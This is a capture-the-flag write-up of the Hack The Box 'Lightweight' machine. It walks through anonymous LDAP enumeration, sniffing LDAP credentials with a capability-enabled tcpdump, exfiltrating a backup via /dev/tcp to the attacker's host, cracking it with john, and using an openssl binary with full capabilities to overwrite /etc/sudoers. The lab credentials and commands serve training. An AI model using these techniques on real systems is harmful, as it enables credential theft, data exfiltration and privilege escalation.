HTB-Lightweight

Information Gathering

Rustscan

Rustscan found three ports open: SSH, HTTP, and LDAP

I usually see LDAP open on AD servers not on Linux servers so this was definitely something I should look into.

┌──(yoon㉿kali)-[~/Documents/htb/lightweight]
└─$ rustscan --addresses 10.10.10.119 --range 1-65535                     
.----. .-. .-. .----..---.  .----. .---.   .--.  .-. .-.
| {}  }| { } |{ {__ {_   _}{ {__  /  ___} / {} \ |  `| |
| .-. \| {_} |.-._} } | |  .-._} }\     }/  /\  \| |\  |
`-' `-'`-----'`----'  `-'  `----'  `---' `-'  `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: https://discord.gg/GFrQsGy           :
: https://github.com/RustScan/RustScan :
 --------------------------------------
🌍HACK THE PLANET🌍
<snip>
Host is up, received syn-ack (0.32s latency).
Scanned at 2024-03-29 01:11:19 EDT for 3s
 
PORT    STATE SERVICE REASON
22/tcp  open  ssh     syn-ack
80/tcp  open  http    syn-ack
389/tcp open  ldap    syn-ack
 
Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 2.98 seconds

Enumeration

LDAP - TCP 389

I first queried base namingcontexts and added lightweight.htb to /etc/hosts file.

ldapsearch -H ldap://10.10.10.119 -x -s base namingcontexts

Luckily, null bind was allowed:

ldapsearch -H ldap://10.10.10.119 -x -b "DC=lightweight,DC=htb"

Usually LDAP will throw me few thousand lines of data but this for this case, output was only 100 lines.

Bind Result Analysis

Taking some time to carefully read through the data, I saw username and pasword hash is being exposed for ldapuser1 and ldapuser2.

ldapuser1’s user password hash is exposed:

There’s one more piece of information about ldapuser1 and it also had password hash exposed:

ldapuser2’s user password hash was also exposed:

ldapuser2 also had a same piece of data that I did not know what it was:

Hash Crack

There were three different hashes that I did not know what they are.

First, I had hash found for ldapuser1:

e2NyeXB0fSQ2JDNxeDBTRDl4JFE5eTFseVFhRktweHFrR3FLQWpMT1dkMzNOd2R
 oai5sNE16Vjd2VG5ma0UvZy9aLzdONVpiZEVRV2Z1cDJsU2RBU0ltSHRRRmg2ek1vNDFaQS4vNDQv

I also had a hash found for ldapuser2:

e2NyeXB0fSQ2JHhKeFBqVDBNJDFtOGtNMDBDSllDQWd6VDRxejhUUXd5R0ZRdms
 zYm9heW11QW1NWkNPZm0zT0E3T0t1bkxaWmxxeXRVcDJkdW41MDlPQkUyeHdYL1FFZmpkUlF6Z24x

There was one hash that was common for both users:

e2NyeXB0fXg=

I decoded all three files with base64

Now I have password hashes but SHA-512 is almost impossible to crack:

Format	Encryption Algorithm	Complexity	Difficulty to Crack
$1$	MD5	Relatively Simple	Easy (Vulnerable to Brute-Force and Rainbow Tables)
$2$ or $2a$ or $2y$	Blowfish (bcrypt)	Complex	Difficult (Resistant to Brute-Force, Slow)
$5$	SHA-256	Complex	Difficult (Strong Resistance to Brute-Force, Salting)
$6$	SHA-512	Complex	Difficult (Strong Resistance to Brute-Force, Salting)

At this point, I gave up on hash cracking and moved on.

HTTP - TCP 80

Going to HTTP, it showed me a web page made with slendr and it was saying the site is being protected from bruteforcing:

Visiting slendr’s github page, I discovered that this web app is made on Typescript:

Searching for known exploit regarding typescript, it seemed it is vulnerable to RCE for certain versions. → Unfortunately, it didn’t work out.

I spent some time trying to understand how web app is intereacting with the server.

/info.php noticed me that this site was built for pentesting and bruteforcing would block the attacking IP for 5 minutes:

status.php would show blocked IP:

user.php told me that accessing web page through HTTP automatically created my IP address as the user on SSH:

Shell as 10.10.14.17

I confirmed that I have ssh connection as my IP address:

I saw several other users on home directory:

Privesc: 10.10.14.17 to ldapuser2

Capabilities

I ran linpeas.sh and discovered something unusual:

tcpdump was on the list for capabilities on this server and I would be able to capture packets with root privileges. You can read more about it here

LDAP Password Sniffing

I knew that there is LDAP running on the server and HTTP request to web app with automatically create an account. I hypothesized that web pages are somehow linked to LDAP service and it is creating account for me. So by sniffing on LDAP network, I might be able to obtain credentials for other users.

I started tcpdump sniffer on SSH connection and after moving around web page for a bit, it captured LDAP network traffic and it seemed to be related to ldapuser2:

tcpdump -i lo -nnXs 0 'port 389'

Since this view isn’t pretty, I forwarded the output to a pcap file so that I can open with Wireshark:

/usr/sbin/tcpdump -i any -s 0 -w lightweight.pcap.

After that I copied the pcap file to local Kali machine:

scp 10.10.14.17@lightweight.htb:/tmp/listen.pcap .

With the pcap file opened through wireshark, I filtered result for LDAP only:

Authentication was made for ldapuser2 in plain text: 8bc8251332abe1d7f105d3e53ad39ac2

I tried SSH logging in as ldapuser2 with the found credentials but it didn’t work:

However, changing into ldapuser2 from 10.10.14.17 was possible:

su ldapuser2

Privesc: ldapuser2 to ldapuser1

Listing home directory for ldapuser2, I discovered: backup.7z

File Transfer

With netcat listener running locally on Kali machine, I sent the contents of backup.7z file over the network to the listener running on the local machine:

cat backup.7z > /dev/tcp/10.10.14.17/9001

Now on my local listener, the data receieved by Netcat is redirected to a file named backup.7z:

nc -lvnp 9001 > backup.7z

Crack

File was compressed with 7-zip version 0.4:

I tried unzipping with 7z and it require a password:

7z x backup.7z

Unfortunately password found earlier didn’t work:

Using 7z2john, I created JohnTheRipper crackable file for backup.7z:

7z2john backup.7z > backup.7z.crackit

Using john, I cracked the password for backup.7zL delete

john backup.7z.crackit --wordlist=/usr/share/wordlists/rockyou.txt

I unzipped backip.7z:

7z x -pdelete backup.7z

I searched for the keyword pass and it seemed that there a interesting line on status.php:

grep -i 'pass' *php

I opened up status.php and it had password for ldapuser1: f3ca9d298a553da117442deeb6fa932d

Now I can switch in ldapuser1:

su ldapuser1

Privesc: ldapuser 1 to root

Enumerating home directory for ** **, I saw several interesting files:

I downloaded files to local side using nc again and took a look into them one by one.

ldapTLS.php seemed to be a script for ldap over TLS in PHP. capture.pcap had nothing interesting other than creds for ldapuser2 which I already have.

openssl and tcpdump were something that I usually don’t see in home directory since they already exist in normal path:

I decided to check for the difference for tcpdump and openssl in home directory and files in their normal path and it turned out they are identical:

md5sum openssl /usr/bin/openssl tcpdump /usr/sbin/tcpdump

Remembering capabilities for previous privilege escalation, I checked capabilities and found an interesting difference for openssl:

getcap tcpdump /usr/sbin/tcpdump & getcap openssl /usr/bin/openssl

=ep means this binary has ALL the capabilities.

Reading as root

If I was just looking to read root.txt, It is very easy:

./openssl base64 -in /root/root.txt | base64 -d

Shell as root

I first read sudoers file using openssl and made a copy to home directory:

./openssl enc -in /etc/sudoers > sudoers

I edited sudoer file and added root permissions for ldapuser1:

After editing sudoers file, I replaced old sudoers file with the new one:

cat ./sudoers | ./openssl enc -out /etc/sudoers

I confirmed ldapusers1’s permission with sudo -l

Root shell was created:

sudo su -

Beyond Root

Capabilities

Find out what capabilities are Enabled: getcap -r / 2>/dev/null

A classic example…

Let’s say tar has “tar = cap_dac_read_search+ep” which means tar has read access to anything. We can abuse this to read /etc/shadow by utilising the function of archiving a file.

References

• https://linux-audit.com/linux-capabilities-101/
• https://gtfobins.github.io/gtfobins/openssl/